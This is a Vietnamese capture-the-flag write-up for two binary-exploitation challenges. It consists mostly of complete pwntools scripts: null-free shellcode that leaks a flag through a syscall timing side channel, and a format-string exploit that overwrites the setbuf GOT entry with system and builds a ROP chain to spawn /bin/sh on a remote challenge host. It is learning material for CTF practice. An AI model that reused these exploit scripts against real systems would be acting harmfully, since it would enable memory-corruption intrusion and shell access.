**Write-up for week 3 tasks**
---
**1. Stronger deathnote-challenge**
* Challenge này là bản nâng cấp của challenge deathnote ở tuần 1 mình đã viết wu ở đây: [Write up for week 1 tasks](https://hackmd.io/RcHwsjjVTb2lVYMGfu2LVA)
* Điểm khác biệt ở chall này đó là trước khi exec shellcode thì toàn bộ thanh ghi kể cả rbp, rsp đều đã được set lại
* 
* Trong đó flag sau khi được load thì sẽ mở, nhưng ở exec thì sẽ đọc flag vào 1 địa chỉ random được mmap, sau đó đóng file nên không thể call read 1 lần nữa
* 
* Rõ ràng bây giờ chỉ cần tìm được địa chỉ của ptr thì mọi thứ đều sẽ quy về bài của week 1, tuy nhiên vùng mmap được lấy từ urandom, nên cũng chưa tìm được cách bypass, do đó chỉ còn cách là tìm 1 pointer nào đấy trỏ vào stack rồi tính offset về ptr để có được địa chỉ của flag
* Trong lúc debug mình có nhận xét là khi chương trình chạy thì gần như mình không thể tìm được vị trí nào có lưu pointer trỏ vào stack, tuy nhiên trước khi vào hàm main thì có nhiều hơn 1 thanh ghi lưu pointer trỏ vào stack
* 
* Do đó, mình thử kiểm tra xem trước khi vào main thì chương trình đã làm gì thì phát hiện trước khi call hàm main, chương trình có lưu rax vào fs:0x300
* 
* Mà lúc này rax là 1 pointer trỏ vào stack nên việc của mình bây giờ chỉ đơn giản là ``mov rbx, DWORD PTR fs:0x300`` là rbx đã có pointer trỏ vào stack mà mình cần
* Bây giờ bài toán đã có thể giải quyết, thực hiện tính toán offset tìm được so với stack frame lưu địa chỉ của flag là đã có thể giải như chall ở week 1
* Đây là payload mình đã dùng để solve chall này:
```python!
from pwn import *
#Vì để tránh null byte nên mình sẽ xor các giá trị với 0xffffffffffffffff trong thanh ghi sau đó xor lại lần nữa
#Khởi tạo địa chỉ của flag, sau khi mov ebx, DWORD PTR [rdx] thì rbx chứa địa chỉ của flag
flag_add = asm('''
mov rcx, 0xffffffffffffffff
xor rcx, 0xfffffffffffffcff
mov rdx, QWORD PTR fs:[rcx]
add rdx, -0x170
mov ebx, DWORD PTR [rdx]
nop
''', arch= 'amd64', os='linux')
#Khởi tạo thanh ghi để call read với rax là syscall num 0, rdi = 0 (từ stdin), rsi là địa chỉ trỏ thẳng vào nơi mình nhập và rdx là số byte read
init = asm('''
mov rsi, rax
xor rax, rax
xor rdi, rdi
mov rdx, 0xffffffffffffffff
xor rdx, 0xffffffffffffffee
nop
''', arch = 'amd64', os = 'linux')
#Khởi tạo rdx, rcx trước khi xor, trong đó rdx sẽ là char brute j, rcx sẽ là char flag
setup1 = asm('''
mov rdx, 0xffffffffffffffff
mov rcx, 0xffffffffffffffff
nop
''', arch = 'amd64', os = 'linux')
#Kết thúc xor và đưa char flag vào rcx
setup3 = asm('''
nop
add rcx, rbx
mov rcx, qword ptr[rcx]
nop
''', arch = 'amd64', os = 'linux')
#Điều kiện chẻ để call read hay exit: nếu char brute j <= char flag thì sẽ syscall read để hàm check return true, nếu không syscall exit để hàm check chạy except return false
#Vì nếu rax đã được khởi tạo syscall num của read, nếu như true thì chỉ việc syscall, còn không thì sẽ đổi rax thành syscall num của exit rồi mới syscall
call_exit = asm('''
cmp cl, dl
jge end
mov rax, 0xffffffffffffffff
xor rax, 0xffffffffffffffc3
syscall
nop
end:
nop
syscall
nop
nop
''', arch = 'amd64', os = 'linux')
flag = []
set2_1 = [] #Mảng prebuild shellcode xor để đưa char brute j vào shellcode
set2_2 = [] #Mảng prebuild shellcode xor để đưa vị trí brute i vào shellcode
#Do i, i + 1 khi xor với 0xff sẽ thành 0xf(f - i), 0x(f - i - 1) nên mình set set_2[i] = set_2[i - 1] - 1
#Khởi tạo mảng prebuild shellcode xor char j
for j in range(0, 32):
set2_1.append('')
set2_1.append(asm("xor rdx, " + hex(32 ^ 0xffffffffffffffff), arch = 'amd64', os = 'linux'))
for j in range(33, 128):
set2_1.append(bytes.fromhex((hex(int(set2_1[j - 1].hex(), 16) - 1)[2::])))
#Khởi tạo mảng prebuild shellcode xor vị trí i
set2_2.append(asm("xor rcx, " + hex(0 ^ 0xffffffffffffffff), arch = 'amd64', os = 'linux'))
for i in range(0, 0x32):
flag.append('')
if(i == 0):
continue
set2_2.append(bytes.fromhex((hex(int(set2_2[i - 1].hex(), 16) - 1)[2::])))
#Hàm kiểm tra tại vị trí i char brute j với char flag
def check(i, j):
setup2 = set2_1[j]
setup2 += set2_2[i]
with remote("0.tcp.ap.ngrok.io", 10394) as chall:
chall.sendlineafter(b'note$ ', b'loadflag')
chall.sendlineafter(b'note$ ', b'exec ' + flag_add + init + setup1 + setup2 + setup3 + call_exit)
try:
chall.recv(timeout = 0.1)
except:
return 0
return 1
#Chặt nhị phân char brute tại vị trí k, nếu char brute <= char flag thì true, ngược lại false
def brute(k):
l = 32
r = 127
m = int((l + r) / 2)
while(1):
if (check(k, m) == 1):
l = m
else:
r = m
m = int((l + r) / 2)
if(l == m):
break
if(r == m):
break
if(check(k, r)):
return chr(r)
return chr(l)
for i in range(0, 0xff):
flag[i] = brute(i)
if(flag[i] == '}'):
break
#In flag
for i in range(0, 0xff):
print(flag[i], end='')
if(flag[i] == '}'):
break
```
=> Flag: ```kira{https://www.youtube.com/watch?v=tAMhUyLwD4k}```
---
**2. Oder pizza (cafe trung)**
```python!
from pwn import *
chall = remote("0.tcp.ap.ngrok.io", 13708)
#chall = process("./pizza_patched")
def get(n, k, last): #Get address leaked
x = k
while(p[x] != '0'):
x += 1
s = ''
for i in range(x, len(n)):
if(n[i] == last):
return [s, i]
s += n[i]
def write_ptr(buf, ptr): #Format string and write ptr to buf
ptr = "0x" + ptr
chall.sendlineafter(b'> ', b'12')
chall.sendlineafter('topping: ', bytes.fromhex(buf[2:])[::-1])
chall.sendlineafter(b'> ', b'12')
payload = b'%' + str(int(ptr, 16)).encode() + b'c%6$n'
chall.sendlineafter('topping: ', payload)
chall.sendlineafter(b'> ', b'6')
chall.sendlineafter(b'(y/n): ', b'y')
def cut_of(ptr): #Divide address into 3 part to easier to write
s1 = ""
s2 = ""
s3 = ""
s1 = ptr[0 : 4]
s2 = ptr[4 : 8]
s3 = ptr[8 : 12]
return [s1, s2, s3]
def write_to_do(a_ptr, b_thing): #Write b_thing to a_ptr address | divide the string to 3 smaller string and write
tmp = cut_of(b_thing[2:])
write_ptr(a_ptr, tmp[2])
write_ptr(hex(int(a_ptr, 16) + 0x2), tmp[1])
write_ptr(hex(int(a_ptr, 16) + 0x4), tmp[0])
def get_shell(): #Just exit program and get the shell
chall.sendlineafter(b'> ', b'1')
chall.sendlineafter(b'> ', b'1')
chall.sendlineafter(b'> ', b'1')
chall.sendlineafter(b'(y/n): ', b'n')
return
#Leak memory:
chall.sendlineafter(b'> ', b'12')
chall.sendlineafter(b'topping: ', b'%47$p') #Leak a libc address
chall.sendlineafter(b'> ', b'6')
chall.sendlineafter(b'> ', b'12')
chall.sendlineafter(b'topping: ', b'%48$p') #Leak a stack address
p = chall.recvuntil(b'Your').decode()
chall.sendlineafter(b'(y/n): ', b'y')
tmp = get(p, 0, 'g')
lib = tmp[0][:-1]
tmp = get(p, tmp[1], 'Y')
st = tmp[0][:-1]
chall.sendlineafter(b'> ', b'12')
chall.sendlineafter(b'topping: ', b'%49$p') #Leak a program address
chall.sendlineafter(b'> ', b'6')
chall.sendlineafter(b'> ', b'12')
chall.sendlineafter(b'topping: ', b'%48$p') #Random thing, can be anything
p = chall.recvuntil(b'Your').decode()
chall.sendlineafter(b'(y/n): ', b'y')
tmp = get(p, 0, 'g')
some_ptr = tmp[0][:-1]
system_ptr = hex(int(lib, 16) + 0x25246) #System pointer replace to got
libc_ptr = hex(int(lib, 16) - 0x2724a) #Libc base pointer
old_rip_ptr = hex(int(st, 16) - 0xf8) #Pointer need to be wrote
binsh_ptr = hex(int(libc_ptr, 16) + 0x196031) #Just "/bin/sh" string
pop_gadget = hex(int(libc_ptr, 16) + 0x277e5) #pop rdi; ret
call_ptr = hex(int(some_ptr, 16) + 0x1a) #Call setbuf a.k.a system
setbuf_got = hex(int(call_ptr, 16) + 0x2e75) #Got need to be wrote
write_to_do(setbuf_got, system_ptr)
write_to_do(old_rip_ptr, pop_gadget)
write_to_do(hex(int(old_rip_ptr, 16) + 8), binsh_ptr)
write_to_do(hex(int(old_rip_ptr, 16) + 16), call_ptr)
get_shell()
chall.interactive()
```